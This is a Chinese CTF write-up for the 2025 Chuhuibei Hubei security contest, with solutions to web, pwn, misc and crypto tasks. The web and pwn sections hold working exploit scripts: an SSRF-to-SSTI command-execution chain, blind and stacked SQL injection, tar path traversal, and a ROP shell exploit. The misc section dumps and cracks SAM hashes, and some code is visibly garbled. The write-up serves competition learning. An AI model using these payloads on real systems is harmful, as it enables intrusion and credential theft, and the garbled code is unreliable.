2025第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛 wp

签到题

题目名称:【填空题1】

题目内容:如果在正常样本中人为故意地掺入噪声干扰以误导智能算法,使智能算法产生错误结果,那么这种噪声干扰的样本被称为_____。

题目分值:20.0

题目难度:非常容易

flag:对抗样本

题目名称:【填空题2】

题目内容:面向整车全生命周期网络安全工程的国际标准(ISO/SAE ____(填标准编号) Road vehicles --- Cybersecurity engineering),已成为车联网威胁建模与安全需求分解的主线标准。

题目分值:20.0

题目难度:非常容易

flag:21434

题目名称:【填空题3】

题目内容:物联网设备的__________管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。

题目分值:20.0

题目难度:非常容易

flag:密钥

WEB

拯救芙莉莲

提示存在宝箱

目录扫描存在robots.txt

访问

Notice: Undefined index: file in /var/www/html/<(´⌯ ̫⌯`)>.php on line 129

Warning: include(): Filename cannot be empty in /var/www/html/<(´⌯ ̫⌯`)>.php on line 152

Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/<(´⌯ ̫⌯`)>.php on line 152

尝试路径穿越

存在waf 过滤了常见绕过内容

*尝试php伪协议*

php://filter用于读取源码
php://input用于执行php代码

php://filter 读取源代码并进行base64编码输出

可以以base64编码的方式读取指定文件的源码:

输入

php://filter/convert.base64-encode/resource=文件路径

拿到base加密后的源码

发现存在危险后门利用 spell

​ $blacklist = array(

​ 'flag',

​ 'php://input',

​ 'data://',

​ 'expect://',

​ 'file://',

​ 'glob://',

​ 'phar://',

​ '/etc/passwd',

​ '/etc/shadow',

​ 'win.ini',

​ '.../',

​ '...\',

​ );

​ foreach (blacklist as bad) {

​ if (stripos(file, bad) !== false) {

​ die('

❌ 魔法屏障阻止了你的尝试

检测到危险的魔法咒语...
');

​ }

​ }

​ include($file);

​ }

​ ?>

复制代码
    <div class="bg">

​ 天哪,芙芙被宝箱怪困住了,你能施法帮她脱离困境吗...

​ <?php

​ if (isset($_GET['spell'])) {

​ echo '
';

​ echo '

�� 解开宝箱怪的封印

';

​ echo '

复制代码
’;

​ echo "芙芙: "这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开..."\n";

​ echo "芙芙: "我记得封印的关键在根目录的某个文件里..."\n";

​ echo "芙芙: "但是宝箱怪的魔法屏障会拒绝某些危险的咒语!"\n";

​ echo "芙芙: "也许你可以用 Linux 命令来读取那个文件?"\n";

spell = _GET['spell'];

​ echo "你的咒语: " . htmlspecialchars($spell) . "\n";

​ $forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');

​ foreach (forbidden as bad) {

​ if (stripos(spell, bad) !== false) {

​ die("⚠️ 检测到禁忌的黑魔法!\n芙芙: "宝箱怪拒绝了这个咒语..."\n");

​ }

​ }

​ if (stripos($spell, 'flag') !== false) {

​ die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n");

​ }

​ $blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');

​ foreach (blocked_commands as cmd) {

​ if (stripos(spell, cmd) !== false) {

​ die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: "这些常用的命令都被屏蔽了...得想想其他办法..."\n");

​ }

​ }

尝试绕过黑名单

发现可以使用flie_get_contents

?spell=php%20-r%20%22echo%20file_get_contents(%27/%27.%27fl%27.%27ag%27);%22

Url编码

DASCTF{43542918692992637148528288213513}

拿到flag

cybers

cybers

初始功能界面

File reader可以读取源码 有明显的路径穿越
拿到app完整源码

这是前端校验

后端对应./backend/app.py

@app.route('/relay', methods=["POST"])

def relay():

target_port = int(request.form['port'])

payload = request.form['data']

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(('127.0.0.1', target_port))

sock.send(payload.encode())

后端 /market 路由使用 render_template_string 渲染用户输入

result = f"Fragment '{fragment_id}' not found in market database."

return render_template_string(f"

{result}

")

存在waf

forbidden_patterns = ['import', 'os', 'system', 'eval', 'exec',

'{{', '}}', '.', '_', '[', ']', ''', '"', 'class', 'base',

'sub', 'globals', 'builtin', 'args', 'request', '*', '\', '?', ...]

fetch('/relay', {

method: 'POST',

headers: {'Content-Type': 'application/x-www-form-urlencoded'},

body: 'port=5000&data=GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n'

}).then(r => r.text()).then(console.log)

Relay路由可以返回session

requested = int(request.args.get('amount'))

if requested < 100:

earned = requested # 负数也会通过!

传入 amount=-9223372036854775808(int64最小值),使 session['credits'] = -9223372036854775808。

最终构造思路

SSRF (/relay → 后端5000)

NumPy int64溢出 (hack amount=-2^63 → 积分下溢)

SSTI注入 (绕过security_filter → RCE)

SUID提权 (tar以root权限读取/flag)

import requests

import re

import urllib.parse

TARGET = "http://45.40.247.139:21112"

def relay(payload):

r = requests.post(

​ TARGET + "/relay",

​ data={

​ "port": "5000",

​ "data": payload

​ }

)

return r.text

def get_cookie(resp):

m = re.search(r"session=([^;]+)", resp)

if not m:

​ raise Exception("Session cookie not found")

return m.group(1)

print("[*] Step1 初始化 backend session")

req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"

resp = relay(req)

cookie = get_cookie(resp)

print("[+] session =", cookie)

print("[*] Step2 触发 numpy int64 溢出")

req = f"""GET /hack?amount=-9223372036854775808 HTTP/1.1

Host: 127.0.0.1

Cookie: session={cookie}

"""

resp = relay(req)

cookie = get_cookie(resp)

print("[+] new session =", cookie)

print("[*] Step3 构造 SSTI payload")

payload = r"""{%set u=lipsum|string|batch(19)|first|last%}{%set uu=u~u%}{%set gl=uu(dict(glo=x)|join)(dict(bal=x)|join)(dict(s=x)|join)uu%}{%set gi=uu(dict(getite=x)|join)(dict(m=x)|join)~uu%}{%set bi=uu(dict(bui=x)|join)(dict(lt=x)|join)(dict(in=x)|join)(dict(s=x)|join)~uu%}{%set ch=(dict(ch=x)|join)~(dict(r=x)|join)%}{%set bdict=lipsum|attr(gl)|attr(gi)(bi)%}{%set chrfn=bdict|attr(gi)(ch)%}{%set sl=chrfn(47)%}{%set sp=chrfn(32)%}{%set da=chrfn(45)%}{%set on=(dict(o=x)|join)~(dict(s=x)|join)%}{%set po=(dict(po=x)|join)~(dict(pen=x)|join)%}{%set re=(dict(re=x)|join)~(dict(ad=x)|join)%}{%set cmd=(dict(tar=x)|join)sp(dict(cf=x)|join)spdaspsl(dict(fl=x)|join)(dict(ag=x)|join)%}{%print(lipsum|attr(gl)|attr(gi)(on)|attr(po)(cmd)|attr(re)())%}"""

form = f"fragment={urllib.parse.quote(payload)}"

http_req = f"""POST /market HTTP/1.1

Host: 127.0.0.1

Cookie: session={cookie}

Content-Type: application/x-www-form-urlencoded

Content-Length: {len(form)}

{form}

"""

print("[*] Step4 发送最终 exploit")

resp = requests.post(

TARGET + "/relay",

data={

​ "port": "5000",

​ "data": http_req

}

)

print("\n====== FLAG RESPONSE ======\n")

print(resp.text)

DASCTF{19877688953357159162992897195575}

拿到完整flag

Fisafopil

  1. 下载源码进行分析,发现两个接口(login/edit-profile)有sql注入点(两个接口都没有做预处理)

  2. 经过测试发现有admin用户(直接登录admin用户,随便输入一个密码,回显密码失败),由于前端进行16进制加密,后端再进行16进制解密,login接口可以打sql盲注,根据当前用户是否注册进行判断,edit-profile接口可以利用cursor.execute进行堆叠注入。

  3. sql盲注拿到admin的密码hash

import requests
import binascii
import time

url = "http://45.40.247.139:30675/login"

def to_hex(s):
"""将字符串转换为十六进制"""
return ''.join(hex(ord©)[2:] for c in s)

def blind_inject(condition):
"""
执行盲注查询
返回True: 条件成立(400状态码,密码错误)
返回False: 条件不成立(500状态码,用户不存在)
"""

payload = f"admin' AND ({condition}) -- "

hex_payload = to_hex(payload)

data = {

"username": hex_payload,

"password": to_hex("a") # 任意密码

}

try :

response = requests.post(url, data=data, allow_redirects=False)
if response.status_code == 400:
return True
elif response.status_code == 500:
return False
else :
return None
except :
return None

def get_length(condition_template, max_length=100):
"""获取长度"""
for i in range(1, max_length + 1):
if blind_inject(condition_template.format(i)):
return i
return None

def get_str(condition_template, length):
"""逐字符获取字符串"""

result = ""
for pos in range(1, length + 1):

found = False
for ascii_code in range(32, 127): # 可打印字符
if blind_inject(condition_template.format(pos, ascii_code)):

result += chr(ascii_code)

print(f"第{pos}位: {chr(ascii_code)}")

found = True

break
if not found:

result += "?"

print(f"第{pos}位: ?")
return result

# 1. 测试盲注是否可行

print("[*] 测试盲注...")
if blind_inject("1=1"):

print("[+] 盲注测试成功")
else :

print("[-] 盲注测试失败")

exit()

# 2. 获取admin密码哈希长度

print("\n[*] 获取admin密码哈希长度...")

pwd_length = get_length("LENGTH((SELECT password FROM users WHERE username='admin')) = {}", 50)
if pwd_length:

print(f"[+] admin密码哈希长度: {pwd_length}")
else :

print("[-] 获取长度失败")

exit()

# 3. 获取admin密码哈希值

print("\n[*] 获取admin密码哈希值...")

pwd_hash = get_str(

"UNICODE(SUBSTR((SELECT password FROM users WHERE username='admin'), {}, 1)) = {}",

pwd_length

)

print(f"[+] admin密码哈希: {pwd_hash}")

  1. 堆叠注入拿到admin的密码hash

x'; UPDATE users SET email=(SELECT password FROM users WHERE username='admin') WHERE username='a'; --

  1. 然后使用md5长度扩展攻击,(这也是很多厂商抛弃md5的攻击,如果你知道 MD5(secret + data) 的结果,即使不知道 secret 的值,也可以计算出 MD5(secret + data + padding + extension) 的结果。)

  2. admin的原始长度在代码中有为16

  3. 使用代码生成扩展的md5

import math
import struct

# ---- MD5 primitives (minimal) ----

def _rol(x, s):
return ((x << s) | (x >> (32 - s))) & 0xFFFFFFFF

K = [int(abs(math.sin(i + 1)) * (2**32)) & 0xFFFFFFFF for i in range(64)]

S = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4

def _compress(state, block64):

a, b, c, d = state

M = list(struct.unpack("<16I", block64))

A, B, C, D = a, b, c, d

for i in range(64):
if i < 16:

F = (B & C) | ((~B) & 0xFFFFFFFF & D)

g = i
elif i < 32:

F = (D & B) | (C & ((~D) & 0xFFFFFFFF))

g = (5i + 1) % 16
elif i < 48:
F = B ^ C ^ D
g = (3
i + 5) % 16
else :

F = C ^ (B | ((~D) & 0xFFFFFFFF))

g = (7*i) % 16

复制代码
F = (F + A + K[i] + M[g]) & 0xFFFFFFFF 
A, D, C, B = D, C, B, (B + _rol(F, S[i])) & 0xFFFFFFFF 

return ((a + A) & 0xFFFFFFFF, (b + B) & 0xFFFFFFFF, (c + C) & 0xFFFFFFFF, (d + D) & 0xFFFFFFFF)

def _pad(msg_len_bytes):
return b"\x80" + b"\x00" * ((55 - msg_len_bytes) % 64) + struct.pack("<Q", msg_len_bytes * 8)

def _md5_from_state(state, data64_aligned):

a, b, c, d = state
for i in range(0, len(data64_aligned), 64):

a, b, c, d = _compress((a, b, c, d), data64_aligned[i:i+64])
return struct.pack("<4I", a, b, c, d).hex()

# ---- length extension ----
def length_extension(known_hash_hex, ml, ext):

state = struct.unpack("<4I", bytes.fromhex(known_hash_hex.strip()))

glue = _pad(ml)

tl = ml + len(glue) + len(ext)

new_hash = _md5_from_state(state, ext + _pad(tl))
return new_hash, glue + ext

if name == "main ":

P1 = b"a"

known_hash = input("known_hash (32 hex): ").strip().lower()

EXT = b"EXT"

new_hash, data_appended = length_extension(known_hash, 16 + len(P1), EXT)

extended_password = P1 + data_appended

print("new_hash =", new_hash)

print("data_appended_hex =", data_appended.hex())

print("extended_password_hex =", extended_password.hex())

  1. 使用接口将admin的hash设置为扩展hash,这样就可以绕过waf的限制

    o 这个waf检测,只要你的请求是http,他就会检测admin的密码hash,如果在PASSWORD_SET集合中,就会重置服务,这个集合就是你注册写入密码hash的集合,waf的作用就是防止你修改admin的密码为注册用户的,阻止密码覆盖攻击

  2. 使用扩展的md5覆盖原先的admin的密码哈希

x'; UPDATE users SET password='85316b33e481da3658de1697a56da2c7' WHERE username='admin'; --

6.成功登录admin账户

  1. 任意文件覆盖,上传一个jinjia2的ssti的tar包即可
  1. 使用ssti模板注入,成功拿到flag

路径穿越的tar包

echo -n '

复制代码
{{ lipsum.globals[“os”].popen(“cat /flag”).read() }}

' > payload.txt && tar -cf -cfloit.tar --tr--transform='s/payload.txt/.../templates/info.html/'load.txt

{{ lipsum.globals["os"].popen("cat /flag").read() }}

flag: DASCTF{19877688953357159162992897195575}

PWN

题目名称:house_1

题目内容:Can you get a proper house

题目分值:200.0

题目难度:中等

先IDA查看


全保护


从栈上获得的第8个地址和PIE的偏移为0x14a0

rdi与pie的偏移是0x1503

然后发现栈上第13个地址是canary,构造第一个payload获得puts在内存中的地址,算出libc基地址然后计算得到system和binsh地址

然后再次构造payload获得shell

flag:DASCTF{COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse}

EXP:

from pwn import *

import os

context(os='linux', arch='amd64', log_level='info')

libdir = '/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'

ld = libdir + '/ld-2.31.so' # 动态链接器路径

path = './pwn'

#p = process([ld, '--library-path', libdir, path])

p = remote('45.40.247.139',18607)

elf = ELF(path)

libc = ELF('./libc.so.6')

#libc = ELF(libdir + '/libc-2.31.so')

def debug():

gdb.attach§

pause()

def sla(a, b):p.sendlineafter(a, b)

def ru(a):p.recvuntil(a)

def sa(a, b):p.sendafter(a, b)

sla(b">> ", b"2")

sla(b"Please write your name:", b"%8$p")

ru(b"the name is:\n")

pie_leak = int(p.recvline().strip(), 16)

log.info('pie_leak:'+hex(pie_leak))

#debug()

pie = pie_leak -0x14a0

log.info("pie_leak =", hex(pie_leak))

log.info("pie =", hex(pie))

sla(b">> ", b"2")

sla(b"Please write your name:", b"%13$p")

ru(b"the name is:\n")

leak = int(p.recvline().strip(), 16)

log.info("leak =", hex(leak))

#debug()

sla(b">> ", b"2")

sla(b"Please write your name:", fmtstr_payload(6, {pie + 0x4010: 0x100}))

sla(b">> ", b"3")

rdi=pie+0x1503

pay=b"a"*0x48+p64(leak)+p64(0)+p64(rdi)+p64(pie+elf.got["puts"])+p64(pie+elf.plt["puts"])+p64(pie+0x13cf)

sla(b"Please write your content", pay)

libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym["puts"]

log.info(hex(libc_base))

system = libc_base + libc.sym["system"]

binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

sla(b">> ", b"3")

rdi=pie+0x1503

pay=b"a"*0x48+p64(leak)+p64(0)+p64(rdi)+p64(binsh)+p64(pie+0x101a)+p64(system)

sla(b"Please write your content", pay)

p.interactive()

MISC

题目名称:game_go_1

题目内容:game_go 提示:原始两段边界处都有 -,拼接上,flag不是标准UUID格式。

题目分值:100.0

  • MSCF 是 Microsoft Cabinet 的文件头特征
  • 如果能在 exe 中找到 MSCF,基本可以确定 exe 后面挂了 CAB 资源包

已经定位到 MSCF 偏移,就可以把这个位置之后的数据切出来:

exe 后面确实挂了一个 CAB 包

解出后得到典型的 RPG Maker VX Ace 项目结构

python 复制代码
strings -a Weapons.rvdata2 | grep -E "DASCTF|flag|[0-9a-f-]{8,}" 
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
0.029999999999999999
0.040000000000000001
0.040000000000000001
0.040000000000000001
0.040000000000000001
0.040000000000000001
0.040000000000000001
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.080000000000000002
-0.080000000000000002
-0.080000000000000002
-0.080000000000000002
-0.080000000000000002
-0.050000000000000003
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.040000000000000001
0.029999999999999999
0.029999999999999999
0.040000000000000001
0.029999999999999999
0.040000000000000001
0.040000000000000001
0.029999999999999999
0.050000000000000003
0.040000000000000001
0.029999999999999999
0.059999999999999998
0.040000000000000001
0.070000000000000007
0.070000000000000007
0.040000000000000001
0.029999999999999999
0.10000000000000001
1168cb17-31ff-43b7-
DASCTF{
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003

所以目前可组合为:

DASCTF{1168cb17-31ff-43b7-


-b586-8414d383afce}

拼接得到:

flag:DASCTF{1168cb17-31ff-43b7--b586-8414d383afce}

SAM_and_Steg

题目提示sam和图片隐写

先看sam文件

后缀存在明显的密文 p@s4w0rd

System明显的都是用户的hash值 尝试impecket提取管理员hash值

└─$ impacket-secretsdump -sam sam -system system LOCAL

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

\*\] Target system bootKey: 0xa88f47504785ba029e8fa532c4c9e27b \[\*\] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: \[\*\] Cleaning up... ┌──(kali㉿kali)-\[\~/Impacket/impacket

└─$ echo 476b4dddbbffde29e739b618580adb1e > hash.txt

┌──(kali㉿kali)-[~/Impacket/impacket]

└─$ hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

爆破匹配Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::

476b4dddbbffde29e739b618580adb1e:!checkerboard1

Session...: hashcat

Status...: Cracked

Hash.Mode...: 1000 (NTLM)

Hash.Target...: 476b4dddbbffde29e739b618580adb1e

Time.Started...: Tue Mar 10 13:51:53 2026 (8 secs)

Time.Estimated...: Tue Mar 10 13:52:01 2026 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Base...: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue...: 1/1 (100.00%)

Speed.#1...: 1681.9 kH/s (0.10ms) @ Accel:256 Loops:1 Thr:1 Vec:8

Recovered...: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress...: 14340096/14344385 (99.97%)

Rejected...: 0/14340096 (0.00%)

Restore.Point...: 14339072/14344385 (99.96%)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#1...: !jrp2pep03! -> !carragold!

Hardware.Mon.#1...: Util: 13%

拿到第二个密文!checkerboard1

题目提示隐写 尝试提取图片特征

12324864 0xBC1000 JPEG image data, JFIF standard 1.01

存在图片特征

提取图片 提示openssl 3.0.11

用第一层密码提取aes256

!checkerboard1

openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd

Openssl 解密aes256文件 密文是sam文件尾

发现是dec文件

gunzip -c aes.dec > output.tar

解压获取flag

DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}

题目名称:Time_and_chaos_1

题目内容:混沌初开,时间流逝

题目分值:200.0

脚本来合成图片看一下右上角

from PIL import Image, ImageOps

import numpy as np

imgs = []

for i in range(1, 9):

img = Image.open(f"{i}.png").convert("RGB")

imgs.append(np.array(img, dtype=np.uint8))

mean_img = np.mean(np.stack(imgs, axis=0), axis=0).astype(np.uint8)

Image.fromarray(mean_img).save("mean.png")

inv = ImageOps.invert(Image.fromarray(mean_img))

inv.save("mean_inv.png")

print("已生成 mean.png 和 mean_inv.png")

从图片里面可以隐约看到DASCTF{Logistic_and

flag.txt里面‌‌‌‌‍‍‌‌‌‌‍‍‌‌‌‌‌‍‬‬‍"‌‌‌‌‍‬‍666‌‌‌‌‍‬‍‍‌‌‌‌‍‍"‌‌‌‌‍‬‍‬‌‌‌‌‍‬‌‌‌‌‌‍‬‍‌‌‌‌‍‍也许是有用的东西

这里有这些零宽字符

U+200C

U+200D

U+202C

U+FEFF

先写个小脚本,把 flag.txt 中这些字符筛出来。

s = open("flag.txt", "r", encoding="utf-8").read()

zw = [ch for ch in s if ord(ch) in (0x200C, 0x200D, 0x202C, 0xFEFF)]

print("零宽字符数量:", len(zw))

print("对应码点:")

for ch in zw[:50]:

print(hex(ord(ch)), end=" ")

print()

这题给了 4 种不同字符,最自然的联想就是:

  • 每个字符对应 2 bit
  • 4 个字符正好表示:
    • 00
    • 01
    • 10
    • 11

映射关系可以设为:

0x200C -> 00

0x200D -> 01

0x202C -> 10

0xFEFF -> 11

然后把这些 bit 拼起来,再每 8 位还原成字节。

s = open("flag.txt", "r", encoding="utf-8").read()

zw = "".join(ch for ch in s if ord(ch) in (0x200C, 0x200D, 0x202C, 0xFEFF))

mapping = {

0x200C: "00",

0x200D: "01",

0x202C: "10",

0xFEFF: "11",

}

bits = "".join(mapping[ord(ch)] for ch in zw)

data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))

print("原始字节:", data)

text = data.decode("utf-16-be")

print("解码结果:", text)

拼接得到

DASCTF{Logistic_and_time_fly}

CRYPTO

题目名称:Flip

题目内容:Seems so many bits known!

题目分值:300.0

题目难度:困难

p = 71100374110712069688668891376502810245640088780564855438789152163485489371751

sigs = [(28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149), (26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289), (6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383), (70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603), (58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)]

复制代码
from Crypto.Util.number import *
from random import *
from os import urandom
from secret import flag

def pad(msg, length):
    return msg + urandom(length - len(msg))

def flip(length):
    return int("".join(["10101"+str(getrandbits(1))+str(getrandbits(1))+str(getrandbits(1)) for _ in range(length//8)]), 2)

d = bytes_to_long(pad(flag.lstrip(b"DASCTF{").rstrip(b"}"), 256//8))
p = getPrime(256)
g = 2

sigs = []
for i in range(5):
    k = flip(256)
    r = pow(g,k,p)
    s = inverse(k,p) * (i + r*d) % p
    sigs.append((r,s))

print("p =", p)
print("sigs =", sigs)
python 复制代码
from Crypto.Util.number import *
from random import *
from os import urandom
from secret import flag

def pad(msg, length):
    return msg + urandom(length - len(msg))

def flip(length):
    return int("".join(["10101"+str(getrandbits(1))+str(getrandbits(1))+str(getrandbits(1)) for _ in range(length//8)]), 2)

d = bytes_to_long(pad(flag.lstrip(b"DASCTF{").rstrip(b"}"), 256//8))
p = getPrime(256)
g = 2

sigs = []
for i in range(5):
    k = flip(256)
    r = pow(g,k,p)
    s = inverse(k,p) * (i + r*d) % p
    sigs.append((r,s))

print("p =", p)
print("sigs =", sigs)

这是一个"伪 DSA"签名,5 个 nonce 不是完全随机,而是每个字节都长成 10101xyz,也就是每字节只剩 3 位未知。这个结构足够做格攻击/隐藏数攻击来把私钥 d 解出来。

题目里 5 组签名满足

s = inverse(k,p) * (i + r*d) % p

其中 i 就是第几组签名,也就是 0,1,2,3,4

flip(256) 生成的 k 每个字节都是 10101xyz,也就是固定高 5 位、低 3 位未知。这类"nonce 部分已知且分散泄露"的结构,本质上就是 Extended Hidden Number Problem,通常要走格攻击,而且很多时候直接 LLL 不够,需要按 CVP 的思路去做。

我把第 0 组和第 1 组签名联立,消掉私钥 d,把每个 nonce 的 32 个未知低 3 位当作 64 个小变量,构造单个模 ppp 的线性同余,再用 BKZ + CVP 把这 64 个变量恢复出来。随后得到真实的k0,k1,再由

恢复出私钥对应的 32 字节消息块。

EXP:

python 复制代码
from sage.all import *
import string

# =========================
# 题目给出的参数
# =========================
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [
    (28285613871231310640779639473901158789539111552315215487796222768188014946190,
     26227626146853365468070394748025813676883717455365705026242089396817666141149),
    (26126343100952318312992351606027346470307966676167073519850533997742307763173,
     14620119507969980035515863104967829444815591632534197769232561325577348982289),
    (6275780641102104914321094704687354889900656957520025439748906503860424049255,
     17138154832682193571532283943639841813795519294633367500729430287205754722383),
    (70074830218018060401156682458161679247596227822712273801560023880579237944207,
     7241759400261146571231207923652617524886465143836459562831120970876560955603),
    (58010164614616186321967235608825740148005793483553468415042960153988671899689,
     11042506367122208018546854524444698969622593890076172637272391555458027253012),
]

# K0 = 0xA8A8...A8 (32 bytes)
K0 = Integer(int.from_bytes(bytes([0xA8]) * 32, "big"))

# =========================
# 工具函数
# =========================
def long_to_32bytes(x):
    return int(x).to_bytes(32, "big")

def printable_prefix(bs):
    ok = set(bytes(string.printable, "ascii"))
    out = []
    for b in bs:
        if b in ok and b != 0x0b and b != 0x0c:
            out.append(b)
        else:
            break
    return bytes(out)

def build_pair_equation(a, b):
    """
    对两组签名 a,b 构造:
        sum(coeff_i * x_i) == rhs (mod p)
    其中 x_i ∈ [0,7]
    前32个变量是 k_a 的每字节低3位
    后32个变量是 k_b 的每字节低3位
    """
    r_a, s_a = map(Integer, sigs[a])
    r_b, s_b = map(Integer, sigs[b])

    coeffs = []

    # k_a 部分: r_b * s_a * 2^(8j)
    for j in range(32):
        coeffs.append((r_b * s_a * (Integer(1) << (8 * j))) % p)

    # k_b 部分: -r_a * s_b * 2^(8j)
    for j in range(32):
        coeffs.append((-r_a * s_b * (Integer(1) << (8 * j))) % p)

    rhs = (r_b * a - r_a * b - (r_b * s_a - r_a * s_b) * K0) % p
    return coeffs, rhs

def try_recover_from_pair(a, b, X=20, block_size=30):
    """
    用 embedding lattice 恢复两个 nonce 的 64 个低3位变量
    """
    coeffs, rhs = build_pair_equation(a, b)
    n = len(coeffs)  # 64

    # 中心化:x_i = y_i + 3, 其中 y_i ∈ [-3,4]
    target = (rhs - 3 * sum(coeffs)) % p

    # 构造 embedding lattice
    #
    # 行向量基:
    # [ p,      0,0,...,0, 0 ]
    # [ a1,     1,0,...,0, 0 ]
    # [ a2,     0,1,...,0, 0 ]
    # ...
    # [ an,     0,0,...,1, 0 ]
    # [ target, 0,0,...,0, X ]
    #
    # 若存在解 y_i,则格中有短向量:
    # [0, -y1, -y2, ..., -yn, X]
    #
    B = Matrix(ZZ, n + 2, n + 2)

    B[0, 0] = p
    for i in range(n):
        B[i + 1, 0] = coeffs[i]
        B[i + 1, i + 1] = 1
    B[n + 1, 0] = target
    B[n + 1, n + 1] = X

    # 先 LLL,再 BKZ
    B = B.LLL()
    try:
        B = B.BKZ(block_size=block_size)
    except Exception:
        pass

    # 扫描 reduced basis 中可能的短向量
    cands = []
    for row in B.rows():
        v = list(map(Integer, row))
        if abs(v[0]) == 0 and abs(v[-1]) == X:
            mids = [-z for z in v[1:-1]]   # y_i
            if all(-3 <= z <= 4 for z in mids):
                xs = [int(z + 3) for z in mids]
                if all(0 <= z <= 7 for z in xs):
                    cands.append(xs)

        # 也检查相反数
        v = list(map(Integer, (-row)))
        if abs(v[0]) == 0 and abs(v[-1]) == X:
            mids = [-z for z in v[1:-1]]
            if all(-3 <= z <= 4 for z in mids):
                xs = [int(z + 3) for z in mids]
                if all(0 <= z <= 7 for z in xs):
                    cands.append(xs)

    # 去重
    uniq = []
    seen = set()
    for xs in cands:
        t = tuple(xs)
        if t not in seen:
            seen.add(t)
            uniq.append(xs)

    return uniq

def xs_to_k(xs32):
    """
    从 32 个低3位变量恢复完整 k
    """
    k = K0
    for j, x in enumerate(xs32):
        k += Integer(x) << (8 * j)
    return k

def recover_d_from_sig(idx, k):
    r, s = map(Integer, sigs[idx])
    m = Integer(idx)
    d = ((s * k - m) * inverse_mod(r, p)) % p
    return d

def check_candidate(pair, xs):
    a, b = pair
    xa = xs[:32]
    xb = xs[32:]

    k_a = xs_to_k(xa)
    k_b = xs_to_k(xb)

    # 验证 pair 方程
    r_a, s_a = map(Integer, sigs[a])
    r_b, s_b = map(Integer, sigs[b])

    lhs = (r_b * s_a * k_a - r_a * s_b * k_b) % p
    rhs = (r_b * a - r_a * b) % p
    if lhs != rhs:
        return None

    # 用 a 组恢复 d
    d = recover_d_from_sig(a, k_a)
    d_bytes = long_to_32bytes(d)

    pref = printable_prefix(d_bytes)
    return {
        "pair": pair,
        "k_a": k_a,
        "k_b": k_b,
        "d": d,
        "d_bytes": d_bytes,
        "prefix": pref,
    }

# =========================
# 主逻辑
# =========================
pairs = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 2), (1, 3), (1, 4)]
X_list = [8, 12, 16, 20, 24, 32]

found = False

for pair in pairs:
    a, b = pair
    print(f"[+] trying pair {pair}")
    for X in X_list:
        print(f"    [-] X = {X}")
        try:
            cands = try_recover_from_pair(a, b, X=X, block_size=30)
        except Exception as e:
            print(f"        error: {e}")
            continue

        print(f"        candidates: {len(cands)}")
        for xs in cands:
            res = check_candidate(pair, xs)
            if res is None:
                continue

            pref = res["prefix"]
            if len(pref) >= 8:
                print("[*] possible d bytes =", res["d_bytes"])
                print("[*] printable prefix =", pref)

                # 题目真实 flag body 在 d 的高位前缀里,后面是随机 pad
                body = pref.decode(errors="ignore")
                print("[*] flag body guess =", body)
                print("[*] flag =", "DASCTF{" + body + "}")
                found = True
                break
        if found:
            break
    if found:
        break

if not found:
    print("[-] not found, try increasing BKZ block size or more X values")

flag:DASCTF{Just_f3w_Bit5_fl1pp1ng}

题目名称:GCD,杠上了

题目内容:又是GCD,我该如何得到公共因数p的值呢 请使用"DASCTF{"+sha256(hex§.encode()).hexdigest()[:32]+"}"计算得到flag

题目分值:300.0

题目难度:困难

先看源码逻辑

p是768bit素数,q是1000bit素数,e作为噪声

生成四个x满足
